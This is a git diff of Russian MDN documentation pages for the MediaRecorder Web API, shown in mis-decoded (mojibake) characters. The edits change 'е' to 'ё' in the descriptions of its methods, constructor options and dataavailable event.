- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ кодирования Π°ΡƒΠ΄ΠΈΠΎ. ΠžΠ½Π°Β ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ скорости, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉΒ Π² конструкторС (Ссли была прСдоставлСна).</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ кодирования Π°ΡƒΠ΄ΠΈΠΎ. ΠžΠ½Π°Β ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ скорости, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉΒ Π² конструкторС (Ссли была прСдоставлСна).</dd>
</dl>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
@@ -39,13 +39,13 @@ translation_of: Web/API/MediaRecorder
<dt>{{domxref("MediaRecorder.pause()")}}</dt>
<dd>ΠŸΡ€ΠΈΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚ запись ΠΌΠ΅Π΄ΠΈΠ°.</dd>
<dt>{{domxref("MediaRecorder.requestData()")}}</dt>
- <dd>Π—Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚Β {{domxref("Blob")}} содСрТащий сохранСнныС Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅Β  с Π½Π°Ρ‡Π°Π»Π° записи (ΠΈΠ»ΠΈ с послСднСго Π²Ρ‹Π·ΠΎΠ²Π° <code>requestData()</code>). ПослС Π²Ρ‹Π·ΠΎΠ²Π° этого ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, запись продолТаСтся, Π½ΠΎ Π² Π½ΠΎΠ²Ρ‹ΠΉΒ <code>Blob.</code></dd>
+ <dd>Π—Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚Β {{domxref("Blob")}} содСрТащий сохранённыС Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅Β  с Π½Π°Ρ‡Π°Π»Π° записи (ΠΈΠ»ΠΈ с послСднСго Π²Ρ‹Π·ΠΎΠ²Π° <code>requestData()</code>). ПослС Π²Ρ‹Π·ΠΎΠ²Π° этого ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, запись продолТаСтся, Π½ΠΎ Π² Π½ΠΎΠ²Ρ‹ΠΉΒ <code>Blob.</code></dd>
<dt>{{domxref("MediaRecorder.resume()")}}</dt>
<dd>ВозобновляСт запись ΠΌΠ΅Π΄ΠΈΠ° послС ΠΏΠ°ΡƒΠ·Ρ‹.</dd>
<dt>{{domxref("MediaRecorder.start()")}}</dt>
- <dd>ΠΠ°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Β Π·Π°ΠΏΠΈΡΡŒ ΠΌΠ΅Π΄ΠΈΠ°. Π’ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>timesliceΒ </code>со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ Π² миллисСкундах. Если ΠΎΠ½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, Ρ‚ΠΎ ΠΌΠ΅Π΄ΠΈΠ° Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, вмСсто записи Π² ΠΎΠ΄ΠΈΠ½ большой Π±Π»ΠΎΠΊ.</dd>
+ <dd>ΠΠ°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Β Π·Π°ΠΏΠΈΡΡŒ ΠΌΠ΅Π΄ΠΈΠ°. Π’ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>timesliceΒ </code>со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ Π² миллисСкундах. Если ΠΎΠ½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, Ρ‚ΠΎ ΠΌΠ΅Π΄ΠΈΠ° Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, вмСсто записи Π² ΠΎΠ΄ΠΈΠ½ большой Π±Π»ΠΎΠΊ.</dd>
<dt>{{domxref("MediaRecorder.stop()")}}</dt>
- <dd>ΠžΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚ запись, послС Ρ‡Π΅Π³ΠΎ запускаСтся событиС {{event("dataavailable")}}, содСрТащСС послСдний <code>Blob</code> сохранСнных Π΄Π°Π½Π½Ρ‹Ρ….</dd>
+ <dd>ΠžΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚ запись, послС Ρ‡Π΅Π³ΠΎ запускаСтся событиС {{event("dataavailable")}}, содСрТащСС послСдний <code>Blob</code> сохранённых Π΄Π°Π½Π½Ρ‹Ρ….</dd>
</dl>
<h2 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ_событий">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий</h2>
@@ -54,7 +54,7 @@ translation_of: Web/API/MediaRecorder
<dt>{{domxref("MediaRecorder.ondataavailable")}}</dt>
<dd>Π’Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΒ {{event("dataavailable")}} события, котороС запускаСтся Ρ€Π°Π· Π²Β <code>timeslice</code> миллисСкунд (ΠΈΠ»ΠΈ, Ссли <code>timeslice</code> Π½Π΅ Π±Ρ‹Π» Π·Π°Π΄Π°Π½ -Β ΠΏΠΎ ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΡŽ записи). Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ Ρ‚ΠΈΠΏΠ°Β {{domxref("BlobEvent")}}, сдСрТит записанноС ΠΌΠ΅Π΄ΠΈΠ° Π²Β {{domxref("BlobEvent.data", "data")}}.Β Β Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ для сбора ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… дСйствий Π² зависимости ΠΎΡ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….</dd>
<dt>{{domxref("MediaRecorder.onerror")}}</dt>
- <dd>{{domxref("EventHandler")}} вызываСтся для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ события {{event("recordingerror")}}, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΡ‚Ρ‡Π΅Ρ‚ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… Π²ΠΎ врСмя записи. Π­Ρ‚ΠΎ Ρ„Π°Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ошибки, приводящиС ΠΊ остановкС записи. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ событиС основано Π½Π° интСрфСйсС {{domxref("MediaRecorderErrorEvent")}}, свойство ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ {{domxref("MediaRecorderErrorEvent.error", "error")}} содСрТит {{domxref("DOMException")}} ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π΄ΡˆΠΈΠ΅ ошибки.</dd>
+ <dd>{{domxref("EventHandler")}} вызываСтся для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ события {{event("recordingerror")}}, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΡ‚Ρ‡Ρ‘Ρ‚ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… Π²ΠΎ врСмя записи. Π­Ρ‚ΠΎ Ρ„Π°Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ошибки, приводящиС ΠΊ остановкС записи. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ событиС основано Π½Π° интСрфСйсС {{domxref("MediaRecorderErrorEvent")}}, свойство ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ {{domxref("MediaRecorderErrorEvent.error", "error")}} содСрТит {{domxref("DOMException")}} ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π΄ΡˆΠΈΠ΅ ошибки.</dd>
<dt>{{domxref("MediaRecorder.onpause")}}</dt>
<dd>{{domxref("EventHandler")}} вызываСтся для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ события {{event("pause")}}, ΡΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠ΅Π³ΠΎΡΡ Π²ΠΎ врСмя приостановки ΠΌΠ΅Π΄ΠΈΠ°.</dd>
<dt>{{domxref("MediaRecorder.onresume")}}</dt>
@@ -175,7 +175,7 @@ if (navigator.getUserMedia) {
<p>{{Compat("api.MediaRecorder")}}</p>
-<h2 id="Π•Ρ‰Π΅_ΠΏΠΎ_Ρ‚Π΅ΠΌΠ΅">Π•Ρ‰Π΅ ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅</h2>
+<h2 id="Π•Ρ‰Ρ‘_ΠΏΠΎ_Ρ‚Π΅ΠΌΠ΅">Π•Ρ‰Ρ‘ ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅</h2>
<ul>
<li><a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">ИспользованиС MediaRecorder API</a></li>
diff --git a/files/ru/web/api/mediarecorder/mediarecorder/index.html b/files/ru/web/api/mediarecorder/mediarecorder/index.html
index 2f5217eda5..abca1784a8 100644
--- a/files/ru/web/api/mediarecorder/mediarecorder/index.html
+++ b/files/ru/web/api/mediarecorder/mediarecorder/index.html
@@ -23,7 +23,7 @@ translation_of: Web/API/MediaRecorder/MediaRecorder
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚, содСрТащий ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства:</p>
<ul>
- <li><code>mimeType</code>: Β <code>mime</code>Β Ρ‚ΠΈΠΏ, опрСдСляСт Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° записи, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° для создаваСмого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>MediaRecorder</code>. МоТно просто ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сам Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ Π½ΡƒΠΆΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄Π΅ΠΊ для записи Π°ΡƒΠ΄ΠΈΠΎ/Π²ΠΈΠ΄Π΅ΠΎ, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ codecs</a>Β ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€<code>Β profiles</code> для Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± использовании ΠΈΒ Ρ‚ΠΎΠ½ΠΊΠΎΠΉ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ².Β ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ,Β ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°Β ΠΈΠ· свойства <code>mimeType</code>Β , вызывая ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("MediaRecorder.isTypeSupported()")}}.</li>
+ <li><code>mimeType</code>: Β <code>mime</code>Β Ρ‚ΠΈΠΏ, опрСдСляСт Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° записи, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° для создаваСмого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>MediaRecorder</code>. МоТно просто ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сам Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ Π½ΡƒΠΆΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄Π΅ΠΊ для записи Π°ΡƒΠ΄ΠΈΠΎ/Π²ΠΈΠ΄Π΅ΠΎ, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ codecs</a>Β ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€<code>Β profiles</code> для Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± использовании ΠΈΒ Ρ‚ΠΎΠ½ΠΊΠΎΠΉ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ².Β ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ,Β ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°Β ΠΈΠ· свойства <code>mimeType</code>Β , вызывая ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("MediaRecorder.isTypeSupported()")}}.</li>
<li><code>audioBitsPerSecond</code>: Π‘ΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ записи ΠΌΠ΅Π΄ΠΈΠ° Π΄Π°Π½Π½Ρ‹Ρ… Π°ΡƒΠ΄ΠΈΠΎ.</li>
<li><code>videoBitsPerSecond</code>: Π‘ΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ записи ΠΌΠ΅Π΄ΠΈΠ° Π΄Π°Π½Π½Ρ‹Ρ… Π²ΠΈΠ΄Π΅ΠΎ.</li>
<li><code>bitsPerSecond</code>: Π‘ΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ записи ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ… Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ. ΠœΠΎΠΆΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒΡΡ вмСсто Π²Π΅Ρ€Ρ…Π½ΠΈΡ… Π΄Π²ΡƒΡ…. Если опрСдСляСтся вмСстС с ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· свойств Π²Ρ‹ΡˆΠ΅, ΠΈΠΌΠ΅Π΅Ρ‚ мСньший ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚, ΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ  вмСсто ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ настройки Π²Ρ‹ΡˆΠ΅..</li>
@@ -44,7 +44,7 @@ translation_of: Web/API/MediaRecorder/MediaRecorder
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΌΠ΅Π΄ΠΈΠ° Ρ€Π΅ΠΊΠΎΡ€Π΄Π΅Ρ€ для ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°, Ρ‡ΡŒΡ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π·Π²ΡƒΠΊΠ° составляСт 128 ΠšΠ±ΠΈΡ‚ / с, Π° ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π²ΠΈΠ΄Π΅ΠΎ - 2,5 ΠœΠ±ΠΈΡ‚ / с. ЗаписанныС ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅Β MP4 (поэтому, Ссли Π²Ρ‹ собСрСтС ΠΏΠΎΡ€Ρ†ΠΈΠΈ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ сохранитС ΠΈΡ… Π½Π° диск, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π² Ρ„Π°ΠΉΠ»Π΅ с Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ MP4).</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΌΠ΅Π΄ΠΈΠ° Ρ€Π΅ΠΊΠΎΡ€Π΄Π΅Ρ€ для ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°, Ρ‡ΡŒΡ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π·Π²ΡƒΠΊΠ° составляСт 128 ΠšΠ±ΠΈΡ‚ / с, Π° ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π²ΠΈΠ΄Π΅ΠΎ - 2,5 ΠœΠ±ΠΈΡ‚ / с. ЗаписанныС ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅Β MP4 (поэтому, Ссли Π²Ρ‹ собСрётС ΠΏΠΎΡ€Ρ†ΠΈΠΈ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ сохранитС ΠΈΡ… Π½Π° диск, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π² Ρ„Π°ΠΉΠ»Π΅ с Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ MP4).</p>
<pre class="brush: js">...
<code class="language-html">
diff --git a/files/ru/web/api/mediarecorder/ondataavailable/index.html b/files/ru/web/api/mediarecorder/ondataavailable/index.html
index 25d0607f41..884d008564 100644
--- a/files/ru/web/api/mediarecorder/ondataavailable/index.html
+++ b/files/ru/web/api/mediarecorder/ondataavailable/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/MediaRecorder/ondataavailable
<li>Когда ΠΌΠ΅Π΄ΠΈΠ° ΠΏΠΎΡ‚ΠΎΠΊ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ, Π»ΡŽΠ±Ρ‹Π΅ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π΅Ρ‰Ρ‘ Π½Π΅ доставлСнныС Π²Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΒ <code>ondataavailable</code>Β Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Blob")}}.</li>
<li>ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β  {{domxref("MediaRecorder.stop()")}} , порция ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ±ΡŠΠ΅ΠΌΒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β Π±Ρ‹Π»Β Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½Β Ρ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π½Π°Ρ‡Π°Π»Π° записи ΠΈΠ»ΠΈ послС послСднСго Π²Ρ‹Π·ΠΎΠ²Π° события <code>dataavailable</code>Β ΠΏΠΎΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β  {{domxref("Blob")}};Β  послС этого Π·Π°Ρ…Π²Π°Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ.</li>
<li>ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("MediaRecorder.requestData()")}} порция ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ…, объСм ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ‹Π» Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½ с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π½Π°Ρ‡Π°Π»Π° записи, ΠΈΠ»ΠΈ послС послСднСго Π²Ρ‹Π·ΠΎΠ²Π° события <code>dataavailable</code>Β ΠΏΠΎΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² вновь созданный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° <code>Blob</code>Β , ΠΈ Π·Π°Ρ…Π²Π°Ρ‚ ΠΏΠΎΡ€Ρ†ΠΈΠΉ ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ… продолТаСтся ΡƒΠΆΠ΅ Π² этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>blob</code>.</li>
- <li>Если свойство  <code>timeslice</code> пСрСдаСтся Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("MediaRecorder.start()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСт Π·Π°Ρ…Π²Π°Ρ‚ ΠΏΠΎΡ€Ρ†ΠΈΠΉ ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ…, событиС  <code>dataavailable</code> запускаСтся ΠΊΠ°ΠΆΠ΄Ρ‹Π΅Β <code>timeslice</code> миллисСкунд. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β <code>blob</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ спСцифичСский размСр (Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ послСднСго, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠΎΡ€ΠΎΡ‡Π΅, содСрТащий всС, Ρ‡Ρ‚ΠΎ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° послСднСго события ). ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли ΠΌΠ΅Ρ‚ΠΎΠ΄ выглядит Ρ‚Π°ΠΊ :Β <code>recorder.start(1000);</code>Β Ρ‚ΠΎ событиС  <code>dataavailable</code>Β Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ сСкунду ΠΎΠ±Ρ‰Π΅Π³ΠΎ 